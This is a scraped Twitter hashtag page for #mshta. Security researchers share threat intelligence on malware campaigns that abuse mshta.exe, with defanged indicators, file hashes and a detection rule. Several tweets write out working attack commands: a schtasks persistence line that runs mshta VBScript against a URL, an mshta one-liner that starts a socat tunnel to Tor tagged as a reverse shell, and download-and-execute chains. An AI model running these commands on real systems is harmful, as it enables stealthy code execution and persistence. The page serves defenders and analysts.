#mshta - Twitter Hashtag

CRIL (Cyble Research and Intelligence Labs) @CybleInsights

over 1 year ago

Cyble analyzes an ongoing campaign targeting business professionals across the United States, utilizing the Ursnif banking Trojan to steal sensitive information. https://t.co/kt4cnWN8No #Banking #Trojan #Ursnif #Shellcode #Mshta #CertUti

0

4

2

1

463

Aaron Jornet

@RexorVc0

over 3 years ago

#APT #TengyunSnake #threat #Malware APT-C-61 💥Attacks Pakistan, Bangladesh, Iran and Turkey ⛓️#Phishing > Payload DOC/PDF > #ISO | #LNK + #MSHTA Report of 360CTI:https://t.co/NfRxG7tCzO IOC: il1[.]000webhostapp[.]com a0w.herokuapp[.]com https://1drv[.]ms

RexorVc0's tweet photo. #APT #TengyunSnake #threat #Malware APT-C-61

💥Attacks Pakistan, Bangladesh, Iran and Turkey

⛓️#Phishing > Payload DOC/PDF > #ISO | #LNK + #MSHTA

Report of 360CTI:https://t.co/NfRxG7tCzO

IOC:
il1[.]000webhostapp[.]com
a0w.herokuapp[.]com
https://1drv[.]ms https://t.co/chDTqPdGo8

2

65

27

13

11K

ᴍɪᴄʜᴀʟɪs ᴍɪᴄʜᴀʟᴏs

@Cyb3rMik3

over 3 years ago

A simple detection rule in #KQL to detect #OneNote spawning #MSHTA #ThreatHunting #MicorosftSecurity https://t.co/j30R6Qb9B9

3

108

31

47

12K

Justin Elze

@HackingLZ

over 3 years ago

@nf3xn @wvuuuuuuuuuuuuu That is great if people think ahead aka “there is a new #lolbin it’s #mshta.exe it runs hta files with #jscript”

2

0

Josh Stroschein | The Cyber Yeti

@jstrosch

over 4 years ago

#opendir #javascript executed via #mshta hxxp://ia801504.us.archive[.]org/13/items/sknna/ https://t.co/hTs0ij3P1e

2

19

9

3

0

Gadix @GadixCRK

about 5 years ago

LOLBin / LOLBas of the week mshta.exe vbscript:close(CreateObject("https://t.co/YGGO0rPYQi").Run("socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:https://t.co/05tKYuUh9a,socksport=9050",0,False)) #reverseshell #mshta #onion

0

2

0

RIVER @wugeej

almost 6 years ago

Several ways to download and execute malicious code through cmds 1. #Linux - #curl - #wget - #rcp - #scp - #rsync - #sftp 2. #Windows - #PowerShell - #Bitsadmin - #certutil - #rundll32 - #regsvr32 - #wmic - #msiexec - #IEExec - #mshta - #msxsl https://t.co/unOHO2bcyZ

wugeej's tweet photo. Several ways to download and execute malicious code through cmds

1. #Linux
- #curl
- #wget
- #rcp
- #scp
- #rsync
- #sftp

2. #Windows
- #PowerShell
- #Bitsadmin
- #certutil
- #rundll32
- #regsvr32
- #wmic
- #msiexec
- #IEExec
- #mshta
- #msxsl

https://t.co/unOHO2bcyZ https://t.co/Qk4NBPGFjN

1

474

218

125

0

Brent Muir @bsmuir

about 6 years ago

Latest #Ursnif campaign moves from #PowerShell to #Mshta to launch attack. PSA, block macros entering the environment from the internet! Via @zscaler. #infosec #Cybersecurity #DFIR #cybercrime #CISO #malware #IOC https://t.co/uK6Ubl0zgN

0

1

2

0

Rahul Neel Mani

@rneelmani

over 6 years ago

In 51% of the incidents @CrowdStrike responded to in 2019, adversaries employed #malware-free techniques at some point during the intrusion. Malware-free techniques include, but are not limited to, #PowerShell, #scripting, #Mshta and #WMI. @dynamicCISO https://t.co/E6NN07ag1S

rneelmani's tweet photo. In 51% of the incidents @CrowdStrike responded to in 2019, adversaries employed #malware-free techniques at some point during the intrusion. Malware-free techniques include, but are not limited to, #PowerShell, #scripting, #Mshta and #WMI. @dynamicCISO https://t.co/E6NN07ag1S https://t.co/iT2lHkR8ki

0

3

2

0

Pistus @jorgemieres

over 6 years ago

#malicious doc #fireeye URL reference, associated with #lokibot ☣️ SWIFT,60 000 usd.doc 🔃 b0d05dc918e285497474847e6734d6e0 🔃 🔛 162[.213.211.]234:1216/fireeye ↔️ #jscript 🔃 ☣️ __Incapsula_Resource 🔃 2064f1494dc06629264564b854b2c4ad #EQNEDT32 > #mshta > #PowerShell > #wermgr

jorgemieres's tweet photo. #malicious doc #fireeye URL reference, associated with #lokibot
☣️ SWIFT,60 000 usd.doc
🔃 b0d05dc918e285497474847e6734d6e0 🔃

🔛 162[.213.211.]234:1216/fireeye ↔️ #jscript 🔃
☣️ __Incapsula_Resource
🔃 2064f1494dc06629264564b854b2c4ad

#EQNEDT32 > #mshta > #PowerShell > #wermgr https://t.co/QEW3pZruDj

0

4

0

B3rt0 @rpsanch

almost 7 years ago

#opendir @UN-themed #phishing #malware site www.sso.unite.un[.]org.joelwisian[.]com hosts ~3 #trojan #droppers + 2 #NorthKorea #macro #powershell #mshta North_Korea.docm (MD5: 5c5bf32736a852c1a1c40d0ae5b8ec33) Ref: https://t.co/aRSClAixjS @JAMESWT_MHT - beat me to it lol

rpsanch's tweet photo. #opendir @UN-themed #phishing #malware site www.sso.unite.un[.]org.joelwisian[.]com hosts ~3 #trojan #droppers + 2 #NorthKorea #macro #powershell #mshta North_Korea.docm (MD5: 5c5bf32736a852c1a1c40d0ae5b8ec33)

Ref: https://t.co/aRSClAixjS

@JAMESWT_MHT - beat me to it lol https://t.co/m1zi60dBqX

JAMESWT @JAMESWT_WT

almost 7 years ago

#opendir again #unknow https://t.co/I1RLJ3xHkD https_//reunionhomesok.com/wp-includes/js/view/ /Duxuu.hta /Normal.src /North_Korea.doc /North_Korea.docm /Duxuu0.hta @reecdeep @Arkbird_SOLG @sugimu_sec @malwrhunterteam @James_inthe_box @VirITeXplorer

JAMESWT_WT's tweet photo. #opendir again #unknow
https://t.co/I1RLJ3xHkD
https_//reunionhomesok.com/wp-includes/js/view/
/Duxuu.hta
/Normal.src
/North_Korea.doc
/North_Korea.docm
/Duxuu0.hta
@reecdeep @Arkbird_SOLG @sugimu_sec @malwrhunterteam @James_inthe_box @VirITeXplorer https://t.co/T4hbfYZcUp

6

29

13

0

3

8

5

0

TheSphinx @__SPX__

almost 7 years ago

We're getting evil here . #AbsoluteZero #MSHTA #payload integrated successfully.✅ Next one 👉 Encrypted connection.

0

5

0

VR @angel11VR

about 7 years ago

#revenge #RAT #mshta #powershell #RTF #XML pastebin{.} com/raw/gnYu4MJK > pastebin{.} com/raw/aiahAcur

1

8

3

0

Cyber Analyzer @cyberanalyzer

over 7 years ago

#Schtasks #Mshta "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 500 /tn "MSOFFICEER" /tr "mshta vbscript:CreateObject(\"Wscript[.]Shell\").Run(\"mshta.exe <URL>\",0,true)(window.close)" /F #CyberSecurity #Malware

0

Malwrologist

@DissectMalware

about 8 years ago

#PE -> #mshta (/update.drp.su/mustang/tools/run.hta) -> moves window to (-50000, 0), redirects to (/mustang/main.html). It includes ./main.js (#JScript) -> #bitsadmin ( /download.drp.su/soft/ + window.lang === 'ru' ? 'AvastAntivirusB.exe' : 'AvastAntivirusWorldwideE.exe')

DissectMalware's tweet photo. #PE -> #mshta (/update.drp.su/mustang/tools/run.hta) -> moves window to (-50000, 0), redirects to (/mustang/main.html). It includes ./main.js (#JScript) -> #bitsadmin (
/download.drp.su/soft/ +
window.lang === 'ru' ? 'AvastAntivirusB.exe' : 'AvastAntivirusWorldwideE.exe') https://t.co/bfFpAQ9jat

1

7

3

0

Malwrologist

@DissectMalware

about 8 years ago

New release of #oletools inspired me to investigate #dde capability in #excel. Awesome updt. But is it only about cmd? No. You can run any cmd with #dde. In this example, I show how to use #mshta to run notepad via #dde. limitation: len(cmd name) <= 8 chars @decalage2 @Oddvarmoe

DissectMalware's tweet photo. New release of #oletools inspired me to investigate #dde capability in #excel. Awesome updt. But is it only about cmd? No. You can run any cmd with #dde. In this example, I show how to use #mshta to run notepad via #dde. limitation: len(cmd name) <= 8 chars
@decalage2 @Oddvarmoe https://t.co/7JWKCAXAra

2

42

25

1

0

Malwrologist

@DissectMalware

about 8 years ago

#multi #stage: #docx contains external #Relationship elm (#oleObject) -> #rtf doc contains #ole obj --> execs #mshta to dl/exec #hta (#exploit) -> #vbscript runs #powershell to dl #PE file (All external files are hosted on amazon #aws #s3 @AWS_Security) https://t.co/p91t424WZL